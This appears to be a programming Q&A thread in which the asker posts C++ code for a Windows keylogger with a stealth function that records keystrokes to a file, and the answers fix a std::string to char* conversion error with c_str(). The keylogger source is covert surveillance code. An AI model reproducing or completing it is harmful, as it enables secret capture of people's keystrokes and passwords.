1

I'm currently working on a simple keylogger to prove a concept. But I keep getting this error:

cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)'

And yes, I have searched around, but none of them worked. I'm trying to read to a variable from a text file.

How do I fix it? Code:

int Save (int key_stroke, char *file);
int getFile (string file);
void Stealth();
string fileN;

int main()
{
    ifstream fN("c.txt");
    fN >> fileN;

    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,fileN);
        }
    }
    system ("PAUSE");
    return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);
    return 0;
}
Bill Lynch
  • 80,138
  • 16
  • 128
  • 173
Mackedack
  • 23
  • 1
  • 1
  • 5
  • Have `Save` take a `const char*`, then pass `fileN.c_str()` to it. For that matter, why not have `Save` take `const string&`? – Igor Tandetnik Nov 06 '14 at 15:01

2 Answers2

4

As the error message says, you're trying to pass a std::string to a function that expects a pointer to a character array.

The best solution is to change the function to work with a string:

int Save (int key_stroke, const std::string & file);

and then extract a pointer when you need one

fopen(file.c_str(), "a+");
          ^^^^^^^^

Alternatively, if you want to preserve the C-style aesthetic of your code, you could change the parameter type to const char *, and pass fileN.c_str() to it.

Mike Seymour
  • 249,747
  • 28
  • 448
  • 644
2

In order to get a C-style string from an std::string, use the c_str() member function. It will return a null-terminated const char *. Your function, however, seems to take char*. You could, of course, const_cast the pointer to get the char* but a far more reasonable approach would be for your function to take const char* or const std::string& in the first place.

Armen Tsirunyan
  • 130,161
  • 59
  • 324
  • 434